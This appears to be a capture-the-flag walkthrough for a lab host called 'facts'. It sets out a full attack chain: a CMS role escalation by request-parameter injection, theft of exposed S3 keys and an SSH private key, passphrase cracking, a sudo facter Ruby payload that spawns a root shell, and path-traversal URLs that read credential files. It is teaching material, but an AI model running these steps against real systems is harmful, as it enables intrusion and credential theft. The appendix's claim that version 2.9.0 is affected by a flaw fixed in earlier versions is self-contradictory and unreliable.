1 RECON
1.1 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -PnBesides the expected Linux services (SSH and HTTP), one high, non-standard port immediately stands out:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|
80/tcp open http syn-ack nginx 1.26.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: facts
|
54321/tcp open http syn-ack Golang net/http server
| http-methods:
|_ Supported Methods: GET OPTIONS
|_http-title: Did not follow redirect to http://facts.htb:9001
|_http-server-header: MinIO
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: application/xml
| Server: MinIO
| X-Amz-Request-Id: 1890036DA924AE24
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| <Error><Code>InvalidRequest</Code></Error>Port 54321 is immediately suspicious. It does not map to any common web service and explicitly identifies itself as MinIO.
1.2 Port 80
The main site is a simple image-based platform allowing users to leave comments:

This strongly suggests additional functionality hidden behind authentication.
1.2.1 Directory Fuzzing
$ gobuster dir \ -u http://facts.htb \ -w /home/Axura/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -t 50 \ -r =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://facts.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /home/Axura/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Follow Redirect: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== sitemap (Status: 200) [Size: 3508] rss (Status: 200) [Size: 183] search (Status: 200) [Size: 19187] index (Status: 200) [Size: 11113] en (Status: 200) [Size: 11109] page (Status: 200) [Size: 19593] welcome (Status: 200) [Size: 11966] admin (Status: 200) [Size: 3896] post (Status: 200) [Size: 11308] ajax (Status: 200) [Size: 0] Index (Status: 200) [Size: 11113] up (Status: 200) [Size: 73] - (Status: 200) [Size: 11098] 404 (Status: 200) [Size: 4836] robots (Status: 200) [Size: 33] EN (Status: 200) [Size: 11109] 400 (Status: 200) [Size: 6685] error (Status: 500) [Size: 7918] 500 (Status: 200) [Size: 7918] 422 (Status: 200) [Size: 8380] captcha (Status: 200) [Size: 5475] INDEX (Status: 200) [Size: 11113] Progress: 5274 / 220558 (2.39%)
The admin directory is discovered and accessible.
1.2.2 Camaleon CMS
Accessing /admin redirects to a CMS login page:

The frontend assets clearly identify the backend as Camaleon CMS:
<link rel="stylesheet" href="/assets/camaleon_cms/admin/admin-basic-manifest-4a345527ab92050e4ecb0f7d9d30c6090c451165b9ffaf00266b2aa5231cda7f.css" media="all" />
<script src="/assets/camaleon_cms/admin/admin-basic-manifest-3896669961ec58669ff8c38eff8ddbde23935fca25fed539252f7705c2b073d1.js"></script>After registering a test account, access to the admin dashboard is denied, but the CMS version can still be identified as 2.9.0:

While image uploads are permitted, exploiting a mature CMS typically requires a known vulnerability rather than blind file upload abuse.
1.3 Port 54321
Port 54321 exposes MinIO.
Key indicators:
Server: MinIO- XML error responses
X-Amz-Request-Id,X-Amz-Id-2headers
These confirm the service is an S3-compatible API, not a traditional web interface.
The message:
Did not follow redirect to http://facts.htb:9001reveals that the MinIO web console exists but is not externally reachable, while the S3 API remains exposed on port 54321.
2 USER
2.1 IDOR
After logging in as a client user, we can edit our profile or change the account password without supplying the current password:

The assigned role is Client. From an attacker's perspective, the goal is clear: escalate this role to admin. Two endpoints stand out as candidates for abuse: the Update profile action and the Change Password function.
Inspecting the role selector in the page source reveals the following:
<label class="control-label" for="user_Role">Role</label>
<div class="">
<select class="form-control required" disabled="disabled" name="user[role]" id="user_role">
<option value="admin">Administrator</option>
<option selected="selected" value="client">Client</option>
<option value="contributor">Contributor</option>
<option value="editor">Editor</option></select>
</div>This tells us:
- All 4 roles are exposed client-side: admin, contributor, editor, and the selected client.
- The restriction relies solely on
disabled="disabled". - The parameter name is
user[role]
Since the control is only UI-disabled, we can remove the attribute and attempt a role change:

Submitting the form triggers a request to POST /admin/users/5, which automatically embeds user[role]=admin in the body:

However, this attempt fails, indicating server-side validation on that endpoint.
The second path is the Change Password action, which sends an AJAX request to /admin/users/5/updated_ajax. By injecting an additional parameter:
&password[role]=admin
we can smuggle the role change through the password update flow. The result is an immediate escalation to the Administrator role, unlocking additional CMS functionality:

With full access, multiple attack surfaces emerge (plugins, themes, uploads). In this case, the key takeaway is the exposed S3 credentials in the Filesystem Settings page:

Those credentials map directly to the MinIO service on port 54321. The door is now wide open.
2.2 MinIO Enumeration
Under Settings → Configuration, the application stores uploaded media in AWS S3–compatible storage, with credentials exposed in plaintext:
AWS Access Key ID: AKIAB5E160E5A9D70E2A
AWS Secret Access Key: iPFUyV4GBlOj2tDiJjJso/ahJnX+JIWLgt6vpuJu
Bucket Name: randomfacts
Region: us-east-1
S3 Endpoint: http://localhost:54321
Cloudfront url: http://facts.htb/randomfactsThis confirms that MinIO on port 54321 backs the application's file storage. At this point, we hold valid S3 credentials for the MinIO instance.
2.2.1 AWS CLI Setup
AWS client project: https://github.com/aws/aws-cli
Install:
pipx install awscliConfigure a profile targeting the MinIO backend:
$ aws configure --profile facts AWS Access Key ID [None]: AKIAB5E160E5A9D70E2A AWS Secret Access Key [None]: iPFUyV4GBlOj2tDiJjJso/ahJnX+JIWLgt6vpuJu Default region name [us-east-1]: us-east-1 Default output format [jason]: jason
2.2.2 Bucket Listing
aws s3 ls \
--endpoint-url http://facts.htb:54321 \
--profile factsTwo buckets are present:
2025-09-11 05:06:52 internal
2025-09-11 05:06:52 randomfactsThe internal bucket name immediately suggests higher-value data.
2.2.3 Bucket Enumeration
Enumerate internal Bucket:
aws s3 ls s3://internal \
--endpoint-url http://facts.htb:54321 \
--profile factsResult:
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08 10:45:13 220 .bash_logout
2026-01-08 10:45:13 3900 .bashrc
2026-01-08 10:47:17 20 .lesshst
2026-01-08 10:47:17 807 .profileThe presence of .ssh/ indicates stored SSH credentials.
2.2.4 Download Bucket Contents
Sync the .ssh directory locally:
aws s3 sync s3://internal/.ssh ./ssh \
--endpoint-url http://facts.htb:54321 \
--profile factsThe directory contains a full SSH key pair:
$ tree ssh ssh ├── authorized_keys └── id_ed25519 1 directory, 2 files
2.3 SSH Cracking
The downloaded private key is passphrase-protected:
$ ll total 8.0K -rw-r--r-- 1 Axura Axura 82 Jan 31 21:51 authorized_keys -rw-r--r-- 1 Axura Axura 464 Jan 31 21:51 id_ed25519 $ cat * ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICCMAgYbXNEf5FBvumBQW4l9Jptj5eSpSrrgrnxemkGQ -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDrx9V9OM S9ReqB7TSQAdJoAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAICCMAgYbXNEf5FBv umBQW4l9Jptj5eSpSrrgrnxemkGQAAAAoAD1g9Kjwi9JR0oGv4OdaqznucHUWZSzQMXRVk FigyeQRjrtjNQ7bvMDokpYlwB1FbIDPQv7sgkvoVAcdjpQhDZ5dmIVnUap1Y0jIJDsWLV6 lC6acNsOgibRFDkDcl2rqk9rDY5ixF8H6hq9pSy04YQNsQoXKSwT6F+wdNN2mfXjpaxz8d TU1JZt/r+Bii3VQmIly018dl0oAcj1USj47IU= -----END OPENSSH PRIVATE KEY----- $ chmod 600 id_ed25519 $ ssh-keygen -yf id_ed25519 Enter passphrase for "id_ed25519": Load key "id_ed25519": incorrect passphrase supplied to decrypt private key
To recover the passphrase, convert the key using ssh2john.py and crack it with John:
$ export johndir=/home/Axura/hacktools/john/run $ python $johndir/ssh2john.py id_ed25519 > id_ed25519.john $ cat id_ed25519.john id_ed25519:$sshng$6$16$ebc7d57d38c4bd45ea81ed349001d268$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010ebc7d57d38c4bd45ea81ed349001d26800 00001800000001000000330000000b7373682d6564323535313900000020208c02061b5cd11fe4506fba60505b897d269b63e5e4a94abae0ae7c5e9a4190000000a000f583d2a3c22f49474a06bf839d6aace7b9c1d45994b340c5d15641 62832790463aed8cd43b6ef303a24a5897007515b2033d0bfbb2092fa1501c763a508436797662159d46a9d58d232090ec58b57a942e9a70db0e8226d1143903725dabaa4f6b0d8e62c45f07ea1abda52cb4e1840db10a17292c13e85fb0 74d37699f5e3a5ac73f1d4d4d4966dfebf818a2dd5426225cb4d7c765d2801c8f55128f8ec85$24$130 $ john --wordlist=/home/Axura/wordlists/rockyou.txt id_ed25519.john Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 4 OpenMP threads Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status dragonballz (id_ed25519) 1g 0:00:01:51 DONE (2026-02-01 16:51) 0.008968g/s 28.70p/s 28.70c/s 28.70C/s grecia..imissu Use the "--show" option to display all of the cracked passwords reliably Session completed.
The passphrase is dragonballz. Verification confirms the key is valid:
$ ssh-keygen -yf id_ed25519 Enter passphrase for "id_ed25519": ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICCMAgYbXNEf5FBvumBQW4l9Jptj5eSpSrrgrnxemkGQ [email protected]
The key comment reveals the target user: trivia. Using it grants SSH access:
$ ssh -i id_ed25519 [email protected] The authenticity of host 'facts.htb (10.129.19.145)' can't be established. ED25519 key fingerprint is SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts. Enter passphrase for key 'id_ed25519': Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.12.9 on ssh Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sun Feb 1 08:56:54 AM UTC 2026 System load: 0.08 Usage of /: 71.9% of 7.28GB Memory usage: 19% Swap usage: 0% Processes: 222 Users logged in: 1 IPv4 address for eth0: 10.129.19.145 IPv6 address for eth0: dead:beef::250:56ff:feb0:b56c 0 updates can be applied immediately. trivia@facts:~$ ls -a . .. .bash_history .bash_logout .bashrc .bundle .cache .local .profile .ssh trivia@facts:~$ ls /home trivia william trivia@facts:~$ ls -a /home/william/ . .. .bash_history .bash_logout .bashrc .profile user.txt trivia@facts:~$ cat /home/william/user.txt 3******************************7
User flag secured.
3 ROOT
3.1 Sudo
Check sudo privileges:
trivia@facts:~$ sudo -l Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter trivia@facts:~$ facter --help Usage ===== facter [options] [query] [query] [...] Options ======= [--color] Enable color output. [--no-color] Disable color output. -c [--config] The location of the config file. [--custom-dir] A directory to use for custom facts. -d [--debug] Enable debug output. [--external-dir] A directory to use for external facts. [--hocon] Output in Hocon format. -j [--json] Output in JSON format. -l [--log-level] Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal. [--no-block] Disable fact blocking. [--no-cache] Disable loading and refreshing facts from the cache [--no-custom-facts] Disable custom facts. [--no-external-facts] Disable external facts. [--no-ruby] Disable loading Ruby, facts requiring Ruby, and custom facts. [--trace] Enable backtraces for custom facts. [--verbose] Enable verbose (info) output. [--show-legacy] Show legacy facts when querying all facts. -y [--yaml] Output in YAML format. [--strict] Enable more aggressive error reporting. -t [--timing] Show how much time it took to resolve each fact [--sequential] Resolve facts sequentially [--http-debug] Whether to write HTTP request and responses to stderr. This should never be used in production. -p [--puppet] Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts. -v [--version] Print the version [--list-block-groups] List block groups [--list-cache-groups] List cache groups -h [--help] Help for all arguments
This is effectively game over – facter executes Ruby code via custom and external facts, and it can be run as root without a password.
3.2 Facter Privesc
facter will load and execute attacker-controlled Ruby files from a specified directory. With unrestricted sudo, this becomes trivial RCE.
Prvesc reference: facter | GTFOBins
Create a malicious Ruby fact
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
system("/bin/bash")
end
end
EOFExecute facter as root and force-load the directory:
sudo /usr/bin/facter --custom-dir /tmp/factsRoot shell obtained:
trivia@facts:~$ mkdir -p /tmp/facts trivia@facts:~$ cat > /tmp/facts/pwn.rb << 'EOF' Facter.add(:pwn) do setcode do system("/bin/bash") end end EOF trivia@facts:~$ sudo /usr/bin/facter --custom-dir /tmp/facts root@facts:/home/trivia# id uid=0(root) gid=0(root) groups=0(root) root@facts:/home/trivia# cat /root/root.txt 7********************************e
Root flag secured.
4 APPENDIX
The exposed Camaleon CMS version is 2.9.0 (see 1.2.2). However, the backend is affected by CVE-2024-46987.
CVE-2024-46987
Camaleon CMS versions prior to 2.8.1 / 2.8.2 are vulnerable to arbitrary path traversal.
This allows direct file disclosure by escaping the intended media directory. For example:
# enumerate users
https://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd
# read authorized keys
https://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/authorized_keys
# steal ssh private key
https://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519This provides an uintended but shorter path to the same SSH foothold, bypassing MinIO entirely.
Comments | NOTHING